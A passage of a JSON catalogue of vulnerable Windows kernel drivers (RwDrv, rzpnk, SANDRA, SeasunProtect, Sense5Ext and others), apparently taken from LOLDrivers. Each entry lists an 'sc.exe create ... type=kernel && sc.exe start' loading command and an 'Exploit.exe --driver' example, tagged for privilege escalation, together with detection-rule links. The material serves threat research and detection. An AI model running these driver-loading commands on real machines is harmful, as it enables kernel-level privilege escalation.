        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create RwDrv.sys binPath=C:\\windows\\temp\\RwDrv.sys type=kernel && sc.exe start RwDrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-rwdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load RwDrv.sys kernel driver",
        "commands": [
          "sc.exe create RwDrv.sys binPath=C:\\windows\\temp\\RwDrv.sys type=kernel && sc.exe start RwDrv.sys"
        ]
      }
    ],
    "name": "RwDrv.sys",
    "namespace": "windows:kernel:rwdrv",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create rzpnk.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\rzpnk.sys type=kernel && sc.exe start rzpnk.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver rzpnk.sys\"\n\n# rzpnk.sys\n\nA vulnerability exists in the latest version of Razer Synapse (v2.20.15.1104 as of the day of disclosure) which can be leveraged locally by a malicious application to elevate its privileges to those of NT_AUTHORITY\\SYSTEM. The vulnerability lies in a specific IOCTL handler in the rzpnk.sys driver that passes a PID specified by the user to ZwOpenProcess. CVE-2017-9769.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-rzpnk.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "A vulnerability exists in the latest version of Razer Synapse (v2.20.15.1104 as of the day of disclosure) which can be leveraged locally by a malicious application to elevate its privileges to those of NT_AUTHORITY\\SYSTEM. The vulnerability lies in a specific IOCTL handler in the rzpnk.sys driver that passes a PID specified by the user to ZwOpenProcess. CVE-2017-9769.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/93d873cdf23d5edc622b74f9544cac7fe247d7a68e1e2a7bf2879fad97a3ae63.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create rzpnk.sys binPath=C:\\windows\\temp\\rzpnk.sys type=kernel && sc.exe start rzpnk.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "local",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-rzpnk",
    "install": [
      {
        "method": "custom",
        "description": "Load rzpnk.sys kernel driver",
        "commands": [
          "sc.exe create rzpnk.sys binPath=C:\\windows\\temp\\rzpnk.sys type=kernel && sc.exe start rzpnk.sys"
        ]
      }
    ],
    "name": "rzpnk.sys",
    "namespace": "windows:kernel:rzpnk",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/nomi-sec/PoC-in-GitHub/blob/2a85c15ed806287861a7adec6545c85aec618e3b/2017/CVE-2017-9769.json#L13"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/db/modules/exploit/windows/local/razer_zwopenprocess/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SANDRA binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SANDRA type=kernel && sc.exe start SANDRA\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SANDRA.sys\"\n\n# SANDRA.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sandra.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create SANDRA binPath=C:\\windows\\temp\\SANDRA type=kernel && sc.exe start SANDRA",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-sandra",
    "install": [
      {
        "method": "custom",
        "description": "Load SANDRA.sys kernel driver",
        "commands": [
          "sc.exe create SANDRA binPath=C:\\windows\\temp\\SANDRA type=kernel && sc.exe start SANDRA"
        ]
      }
    ],
    "name": "SANDRA.sys",
    "namespace": "windows:kernel:sandra",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SBIOSIO64sys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SBIOSIO64sys.sys type=kernel && sc.exe start SBIOSIO64sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SBIOSIO64.sys\"\n\n# SBIOSIO64.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sbiosio64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create SBIOSIO64sys binPath= C:\\windows\\temp\\SBIOSIO64sys.sys type=kernel && sc.exe start SBIOSIO64sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-sbiosio64",
    "install": [
      {
        "method": "custom",
        "description": "Load SBIOSIO64.sys kernel driver",
        "commands": [
          "sc.exe create SBIOSIO64sys binPath= C:\\windows\\temp\\SBIOSIO64sys.sys type=kernel && sc.exe start SBIOSIO64sys"
        ]
      }
    ],
    "name": "SBIOSIO64.sys",
    "namespace": "windows:kernel:sbiosio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create sdrv_win_sliff binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\sdrv_win_sliff.sys type=kernel && sc.exe start sdrv_win_sliff\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver sdrv_win_sliff.sys\"\n\n# sdrv_win_sliff.sys\n\nsdrv_win_sliff.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sdrv-win-sliff.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "sdrv_win_sliff.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create sdrv_win_sliff binPath=C:\\windows\\temp\\sdrv_win_sliff.sys type=kernel && sc.exe start sdrv_win_sliff",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-sdrv-win-sliff",
    "install": [
      {
        "method": "custom",
        "description": "Load sdrv_win_sliff.sys kernel driver",
        "commands": [
          "sc.exe create sdrv_win_sliff binPath=C:\\windows\\temp\\sdrv_win_sliff.sys type=kernel && sc.exe start sdrv_win_sliff"
        ]
      }
    ],
    "name": "sdrv_win_sliff.sys",
    "namespace": "windows:kernel:sdrv-win-sliff",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Se64a.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Se64a.sys type=kernel && sc.exe start Se64a.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Se64a.sys\"\n\n# Se64a.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-se64a.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/6cb51ae871fbd5d07c5aad6ff8eea43d34063089528603ca9ceb8b4f52f68ddc.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create Se64a.sys binPath=C:\\windows\\temp\\Se64a.sys type=kernel && sc.exe start Se64a.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-se64a",
    "install": [
      {
        "method": "custom",
        "description": "Load Se64a.sys kernel driver",
        "commands": [
          "sc.exe create Se64a.sys binPath=C:\\windows\\temp\\Se64a.sys type=kernel && sc.exe start Se64a.sys"
        ]
      }
    ],
    "name": "Se64a.sys",
    "namespace": "windows:kernel:se64a",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create SeasunProtect binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\SeasunProtect.sys type=kernel && sc.exe start SeasunProtect\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver SeasunProtect.sys\"\n\n# SeasunProtect.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-seasunprotect.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create SeasunProtect binPath=C:\\windows\\temp\\SeasunProtect.sys type=kernel && sc.exe start SeasunProtect",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-seasunprotect",
    "install": [
      {
        "method": "custom",
        "description": "Load SeasunProtect.sys kernel driver",
        "commands": [
          "sc.exe create SeasunProtect binPath=C:\\windows\\temp\\SeasunProtect.sys type=kernel && sc.exe start SeasunProtect"
        ]
      }
    ],
    "name": "SeasunProtect.sys",
    "namespace": "windows:kernel:seasunprotect",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create segwindrvx64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\segwindrvx64.sys     type=kernel && sc.exe start segwindrvx64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver segwindrvx64.sys\"\n\n# segwindrvx64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-segwindrvx64.md",
    "author": "Michael Haag, Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/65329dad28e92f4bcc64de15c552b6ef424494028b18875b7dba840053bc0cdd.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create segwindrvx64.sys binPath=C:\\windows\\temp\\segwindrvx64.sys     type=kernel && sc.exe start segwindrvx64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-segwindrvx64",
    "install": [
      {
        "method": "custom",
        "description": "Load segwindrvx64.sys kernel driver",
        "commands": [
          "sc.exe create segwindrvx64.sys binPath=C:\\windows\\temp\\segwindrvx64.sys     type=kernel && sc.exe start segwindrvx64.sys"
        ]
      }
    ],
    "name": "segwindrvx64.sys",
    "namespace": "windows:kernel:segwindrvx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create semav6msr.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\semav6msr.sys type=kernel && sc.exe start semav6msr.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver semav6msr.sys\"\n\n# semav6msr.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-semav6msr.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create semav6msr.sys binPath=C:\\windows\\temp\\semav6msr.sys type=kernel && sc.exe start semav6msr.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-semav6msr",
    "install": [
      {
        "method": "custom",
        "description": "Load semav6msr.sys kernel driver",
        "commands": [
          "sc.exe create semav6msr.sys binPath=C:\\windows\\temp\\semav6msr.sys type=kernel && sc.exe start semav6msr.sys"
        ]
      }
    ],
    "name": "semav6msr.sys",
    "namespace": "windows:kernel:semav6msr",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      },
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Sense5Ext.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Sense5Ext.sys type=kernel && sc.exe start Sense5Ext.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Sense5Ext.sys\"\n\n# Sense5Ext.sys\n\nDriver categorized as POORTRY by Mandiant.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sense5ext.md",
    "author": "Michael Haag, Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver categorized as POORTRY by Mandiant.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/7f4555a940ce1156c9bcea9a2a0b801f9a5e44ec9400b61b14a7b1a6404ffdf6.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/42b22faa489b5de936db33f12184f6233198bdf851a18264d31210207827ba25.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create Sense5Ext.sys binPath=C:\\windows\\temp\\Sense5Ext.sys type=kernel && sc.exe start Sense5Ext.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-sense5ext",
    "install": [
      {
        "method": "custom",
        "description": "Load Sense5Ext.sys kernel driver",
        "commands": [
          "sc.exe create Sense5Ext.sys binPath=C:\\windows\\temp\\Sense5Ext.sys type=kernel && sc.exe start Sense5Ext.sys"
        ]
      }
    ],
    "name": "Sense5Ext.sys",
    "namespace": "windows:kernel:sense5ext",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create sepdrv3_1sys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\sepdrv3_1sys.sys type=kernel && sc.exe start sepdrv3_1sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver sepdrv3_1.sys\"\n\n# sepdrv3_1.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-sepdrv3-1.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create sepdrv3_1sys binPath= C:\\windows\\temp\\sepdrv3_1sys.sys type=kernel && sc.exe start sepdrv3_1sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-sepdrv3-1",
    "install": [
      {
        "method": "custom",
        "description": "Load sepdrv3_1.sys kernel driver",
        "commands": [
          "sc.exe create sepdrv3_1sys binPath= C:\\windows\\temp\\sepdrv3_1sys.sys type=kernel && sc.exe start sepdrv3_1sys"
        ]
      }
    ],
    "name": "sepdrv3_1.sys",
    "namespace": "windows:kernel:sepdrv3-1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create sfdrvx32.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\sfdrvx32.sys type=kernel && sc.exe start sfdrvx32.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver sfdrvx32.sys\"\n\n# sfdrvx32.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-sfdrvx32.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
